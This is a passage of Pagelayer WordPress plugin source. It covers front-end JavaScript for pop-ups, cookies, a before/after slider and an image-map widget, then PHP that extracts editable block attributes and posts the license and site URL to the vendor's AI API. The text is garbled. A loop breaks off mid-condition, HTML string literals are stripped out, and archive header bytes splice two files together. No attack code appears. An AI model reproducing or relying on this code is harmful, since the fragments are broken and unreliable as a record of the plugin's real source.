.pagelayer-splash-bg-close').on('click', function(){ jEle.fadeOut(); }); } // Facebook width adjustment function function pagelayer_fb_width(jEle){ var facebook = (jEle.find('.fb-page').length ? jEle.find('.fb-page') : jEle.find('.fb-embed')); var fb_resize = function(){ facebook.attr('data-width', jEle.width()); FB.XFBML.parse(); }; setTimeout(fb_resize, 1000); var win = pagelayerGetCurrentWindow(); jQuery(win).on('resize', function(){ setTimeout(fb_resize, 1000); }); } // WooCommenrce cart function pagelayer_woo_menu_cart(jEle){ // On click menu cart jEle.find('.pagelayer-menu-cart-toggle').click(function(e){ e.preventDefault(); jEle.find('.pagelayer-menu-cart-container').toggle(); }); // On click menu cart close jEle.find('.pagelayer-menu-cart-close').click(function(){ jEle.find('.pagelayer-menu-cart-container').hide(); }); } // Setup the pop-ups function pagelayer_popup_setup(popEle){ var jEle = popEle.find('.pagelayer-popup').first(); var id = jEle.attr('pagelayer-id'); var popup_content = popEle.find('.pagelayer-popup-modal-content'); var data = new Object(); // Set the Pou-up id popEle.attr('pagelayer-popup-id', id); if(jEle.length < 1) return; jQuery.each(jEle[0].attributes, function(index, att){ if(att.name.match(/data\-/i)){ data[att.name.substr(5)] = att.value; } }); // Show pop-up var popup_show = function(force){ // Is there a cookie? if( !pagelayer_empty(data['popup_cookie_session']) && !pagelayer_empty(data['popup_cookie_name']) && pagelayer_empty(force)){ var name = data['popup_cookie_name']+ "="; var decodedCookie = decodeURIComponent(document.cookie); var ca = decodedCookie.split(';'); for(var i = 0; i
'); }else{ popEle.find('.pagelayer-popup-modal-content').append('
'); } var closer = popEle.find('.pagelayer-popup-close'); // On click close closer.click(function(e){ jQuery(document).trigger('pagelayer_popup_close', e, popEle); e.preventDefault(); e.stopPropagation(); popEle.hide(); }); // Hide pop-up on click modal container if ( !pagelayer_empty(data['overlay_close']) ){ popEle.click(function(e){ if(jQuery(e.target).closest('.pagelayer-popup-modal-content').length > 0) return; closer.click(); }); } // Hide pop-up click on selector if ( !pagelayer_empty(data['selector_close']) ){ jQuery(data['selector_close']).click(function(e){ closer.click(); }); } // Is there a cookie to be set to be remembered ? if( !pagelayer_empty(data['popup_cookie_session']) && !pagelayer_empty(data['popup_cookie_name']) ){ // Set cookie on close as well ? if(!pagelayer_empty(data['popup_cookie_close'])){ data['popup_cookie_selector'] = '.pagelayer-popup-close'+(pagelayer_empty(data['popup_cookie_selector']) ? '' : ','+data['popup_cookie_selector']); } if(!pagelayer_empty(data['popup_cookie_selector'])){ pagelayer_popup_set_cookie(data, closer); } } // Pop-up triggers // If we are in editor if ( !pagelayer_empty(popEle.attr('pagelayer-popup-editor')) ) { closer.unbind('click'); popEle.unbind('click'); popEle.removeAttr('pagelayer-popup-Shown'); popup_show(true); } // Click popup show if(!pagelayer_empty(data['trig_click'])){ jQuery(data['trig_click_ele']).click(popup_show); } // Popup show on load if(!pagelayer_empty(data['trig_load'])){ var second = parseFloat(data['trig_load_sec'] || 0); setTimeout(popup_show, second * 1000); } // Popup show on scroll if(!pagelayer_empty(data['trig_scroll'])){ // Initial state var scrollPos = 0; // adding scroll event jQuery(window).on('scroll', function(){ // detects new state and compares it with the new one if ( scrollY > scrollPos){ if(data['trig_scroll_dir'] == 'down'){ let scroll_per = scrollY*100/(jQuery(document).height() - innerHeight); let scr_per =parseInt(data['trig_scroll_per']) || 0; if( scr_per <= scroll_per){ popup_show(); } } }else if(data['trig_scroll_dir'] == 'up'){ popup_show(); } // saves the new position for iteration. scrollPos = scrollY; }); } // Popup show on scroll to element if(!pagelayer_empty(data['trig_scroll_to_ele'])){ // adding scroll event jEle.find(data['trig_scroll_to_ele_sel']).on('scroll', function(){ popup_show(); }); } // On scroll popup show if(!pagelayer_empty(data['trig_page_exit_intent'])){ jQuery(document).on('mouseleave', popup_show); } // When page load popup hide if(!pagelayer_empty(data['trig_before_load'])){ closer.click(); } } // Sets the cookie function pagelayer_popup_set_cookie(data, closer){ jQuery(data['popup_cookie_selector']).click(function(e){ var exdays = data['popup_cookie_exp'] || 0; var d = new Date(); d.setTime(d.getTime() + ( parseFloat(exdays) *24*60*60*1000)); var expires = "expires="+ d.toUTCString(); document.cookie = data['popup_cookie_name'] + "=1;" + expires + ";path=/"; if(closer && !jQuery(e.target).is(closer)){ closer.click(); } }); } // Before After Slider Handler function pagelayer_before_after_slider(jEle){ let event = jEle.find('.pagelayer-before-after-container').attr('data-resize-event'), slider = jEle.find('.pagelayer-before-after-slider'), after = jEle.find('.pagelayer-after-image'), resizer = jEle.find('.pagelayer-resizer'), buttons = jEle.find('.pagelayer-before-btn, .pagelayer-after-btn'), plID = jEle.attr('pagelayer-id'); resizer.removeAttr('style'); after.removeAttr('style'); // z - Custom value for both var slideIt = function(e, z){ z = z || false; let x, y; if(z != false){ x = y = z; }else{ let pos = slider.offset(), eleWidth = slider.width(), eleHeight = slider.height(); x = Math.min( (e.pageX - pos.left), eleWidth ) * 100 / eleWidth; y = Math.min( (e.pageY - pos.top), eleHeight) * 100 / eleHeight; } if(x < 0 || x > 99.7 || y < 0 || y > 99.7){ return false; } if(slider.hasClass('pagelayer-before-after-slider-vertical')){ resizer.css({'top': y+'%'}); after.css({'clip-path': 'polygon(0px '+y+'%, 100% '+y+'%, 100% 100%, 0% 100%)'}); return; } resizer.css({'left': x+'%'}); after.css({'clip-path': 'polygon('+x+'% 0%, 100% 0%, 100% 100%, '+x+'% 100%)'}); } var resizeOn = function(){ slider.addClass('resize'); } var resizeOff = function(){ slider.removeClass('resize'); } // Before After Button click handler jEle.on('click', '.pagelayer-after-btn, .pagelayer-before-btn', function(e){ e.stopPropagation(); e.preventDefault(); var slide = (jQuery(this).hasClass('pagelayer-before-btn')) ? 90 : 10; // Start resizing resizeOn(); slideIt(e, slide); // Stop resizing resizeOff(); }); var win = pagelayerGetCurrentWindow(); var doc = pagelayerGetDocumentElement(); // Unbind All events jQuery(win).unbind('mousemove.bf_slider'+plID); slider.unbind('click mouseover mouseout'); resizer.unbind('mousedown'); jQuery(doc).unbind('mouseup.bf_slider'+plID); // If there is no events if(event == 'none' || pagelayer_empty(event)){ return; } if(event == 'hover'){ // No need of buttons while hover effect buttons.fadeOut(); slider.on('mouseover', resizeOn); slider.on('mouseout', resizeOff); }else{ resizer.on('mousedown', function(e){ // To prevent widgets from being dragged. e.stopPropagation(); e.preventDefault(); resizeOn(); buttons.fadeOut(); }); jQuery(doc).on('mouseup.bf_slider'+plID, function(e){ resizeOff(); buttons.fadeIn(); }); } jQuery(win).on('mousemove.bf_slider'+plID, function(e){ if(!slider.hasClass('resize')){ return; } // Stop divs being selected. e.stopPropagation(); e.preventDefault(); slideIt(e); }); slider.on('click', slideIt); } // Image Map Widget function pagelayer_pl_image_map(jEle){ var svgEle = jEle.find('.pagelayer-imgmap-svg'); var data = []; svgEle.find('.pagelayer-imgmap-item').each(function(){ var data_link = jQuery(this).attr('data-link'); var data_id = jQuery(this).attr('data-id'); data[data_id] = data_link; }); pagelayer_resize_imgmap(jEle); jQuery(pagelayerGetCurrentWindow()).off('resize.plimgmap').on('resize.plimgmap',function(){ pagelayer_resize_imgmap(jEle); }); if(!pagelayer_is_live){ for (const key in data) { if(data == undefined || data[key].length === 0){ continue; } var elem = jEle.find('[data-id='+key+']'); elem.css({'cursor':'pointer'}); elem.off('click').on('click',function(){ window.open(data[key], "_blank"); }); } svgEle.addClass('pagelayer-imgmap-hover-active'); } } function pagelayer_resize_imgmap(jEle){ var svgEle = jEle.find('svg'); var pathEles = svgEle.find('path'); if(pathEles.length > 0){ for (var i = 0; i < pathEles.length; i++) { pagelayer_resize_imgmap_item(jQuery(pathEles[i]), jEle); } } } function pagelayer_resize_imgmap_item(path_ele, jEle = ''){ var wrap = jEle.find('.pagelayer-imgmap-wrapper'); var img_ele = jEle.find('img'); // Delay while resizing map setTimeout(() => { // Auto resize wrapper wrap.css('cssText','width:'+img_ele.width()+'px;height:'+img_ele.height()+'px;left:'+img_ele.position().left+'px;top:'+img_ele.position().top+'px;'); var mapWidth = wrap.width(); var mapHeight = wrap.height(); var cords = path_ele.attr('data-cord'); var isActive = path_ele.hasClass('pagelayer-map-item-active') ? true : false; cords = cords.split(','); var tmpArr = []; var tmpCord = ''; var count = 0; cords.forEach((ele,index) => { var prefix = index == 1 ? 'M' : 'L'; var perc = ele; if(tmpCord.length == 0){ tmpCord = (mapWidth / 100) * perc; }else{ var cord = (mapHeight / 100) * perc; if(pagelayer_is_live){ var cordWrap = jEle.find('.pagelayer-imgmap-coordinates-wraper'); var mapId = path_ele.attr('data-id'); var cord_ele = jEle.find('.pl-cord-'+mapId).eq(count); if(cord_ele.length == 0){ var cordHTML = `
`; cordWrap.append(cordHTML); }else{ var visibility = isActive ? 'display:block' : ''; cord_ele.css('cssText','left:'+tmpCord+'px;top:'+cord+'px;'+visibility); } } tmpArr.push(prefix + tmpCord+' '+cord); tmpCord = ''; count++; } }); // Close path denoted by z var endOpr = pagelayer_is_live ? '' : 'z'; var value = tmpArr.join('').toString() + endOpr; cords = cords.toString(); path_ele.attr('data-cord',cords); path_ele.attr('d',value); }, 10); } function pagelayer_create_imgmap_svg(classes = [], attrs = []){ // Create svg path element and append in the svg var elem = document.createElementNS('http://www.w3.org/2000/svg', 'path'); if(classes.length > 0){ classes.forEach(cls => { elem.classList.add(cls); }); } if(attrs.length > 0){ attrs.forEach(attr => { elem.setAttribute(attr[0],attr[1]); }); } return elem; }PK-Y\)a88main/ai-functions.phpnu[shortcodes[$pl_tag])){ // Create attribute Object $innerHTML = pagelayer_isset($pagelayer->shortcodes[$pl_tag], 'innerHTML'); if(!empty($innerHTML) && isset($block['attrs'][$innerHTML])){ $block['innerHTML'] = $block['attrs'][$innerHTML]; $block['innerContent'] = array($block['attrs'][$innerHTML]); } } } // This have innerBlocks if(!empty($block['innerBlocks']) && is_array($block['innerBlocks'])){ foreach($block['innerBlocks'] as $key => $inner_block){ $block['innerBlocks'][$key] = pagelayer_pro_add_atts_block($inner_block, $new_atts); } } return $block; } // Add tmp attribute to block code function pagelayer_pro_extract_editable_atts($content){ $blocks = parse_blocks( $content ); $el_atts = array(); foreach( $blocks as $block ){ $block_name = $block['blockName']; // Is pagelayer block if( is_string( $block_name ) && 0 === strpos( $block_name, 'pagelayer/' ) ){ pagelayer_pro_parse_ai_atts($block, $el_atts); } } return array_filter($el_atts); } function pagelayer_pro_parse_ai_atts($block, &$el_atts){ global $pagelayer; // Load shortcode pagelayer_load_shortcodes(); // TODO: if empty then assign id and updated content if(empty($block['attrs']['pagelayer-id'])){ return; } // If block saved by Pagelayer Editor if(in_array( $block['blockName'], ['pagelayer/pl_inner_col', 'pagelayer/pl_inner_row'])){ $block['blockName'] = str_replace('inner_', '', $block['blockName']); } $tag = substr( $block['blockName'], 10 ); $pl_tag = str_replace('-', '_', $tag); if(isset($pagelayer->shortcodes[$pl_tag])){ // Create attribute Object $pl_props = $pagelayer->shortcodes[$pl_tag]; $pl_id = $block['attrs']['pagelayer-id']; $el_atts[$pl_id] = array(); foreach($pagelayer->tabs as $tab){ if(empty($pl_props[$tab])){ continue; } foreach($pl_props[$tab] as $section => $_props){ $props = !empty($pl_props[$section]) ? $pl_props[$section] : $pagelayer->styles[$section]; if(empty($props)){ continue; } // Reset / Create the cache foreach($props as $prop => $param){ // No value set if(empty($block['attrs'][$prop]) || (isset($param['ai']) && $param['ai'] === false)){ continue; } $has_attrs = false; // is editable? if(!empty($param['edit'])){ $el_atts[$pl_id][$prop] = $block['attrs'][$prop]; $has_attrs = true; } // is editable? if(!empty($param['type']) && $param['type'] == 'image'){ $el_atts[$pl_id]['img_urls'][] = $block['attrs'][$prop]; } // is editable? if(!empty($param['type']) && $param['type'] == 'multi_image'){ $el_atts[$pl_id]['img_urls'][] = $block['attrs'][$prop]; } if($has_attrs){ $el_atts[$pl_id]['blockName'] = $pl_props['name']; } } } } } // This have innerBlocks if(!empty($block['innerBlocks'])){ foreach($block['innerBlocks'] as $key => $inner_block){ pagelayer_pro_parse_ai_atts($inner_block, $el_atts); } } } // Call to AI server function pagelayer_pro_ai_prompt_run($ai_data = array()){ global $pagelayer; if(empty($pagelayer->license) || empty($pagelayer->license['license'])){ return null; } // Only SoftWP license works $ai_data['license'] = $pagelayer->license['license']; $ai_data['url'] = site_url(); $response = wp_remote_post(PAGELAYER_AI_API, [ 'body' => $ai_data, 'timeout' => 600, ]); $body = wp_remote_retrieve_body($response); $result = json_decode($body, true); // pagelayer_print($result); if(isset($result['error'])){ // TODO: show this error error if possible error_log('API Request Failed: ' . $result['error']); return null; } if(isset($result['response'])){ $json_content = $result['response']; // Remove markdown code fences if they exist if(strpos($json_content, '```') !== false){ $json_content = preg_replace('/^```(?:json)?\s*/', '', trim($json_content)); $json_content = preg_replace('/\s*```$/', '', $json_content); } $generated = json_decode($json_content, true); if (json_last_error() === JSON_ERROR_NONE) { return $generated; } else { error_log("JSON decode error: " . json_last_error_msg()); return null; } } return null; } // The actual function to import the theme function pagelayer_pro_generate_ai_contents($content, $args = array()){ if(empty($args['description'])){ return $content; } if(defined('PAGELAYER_BLOCK_PREFIX') && PAGELAYER_BLOCK_PREFIX == 'wp'){ $content = str_replace('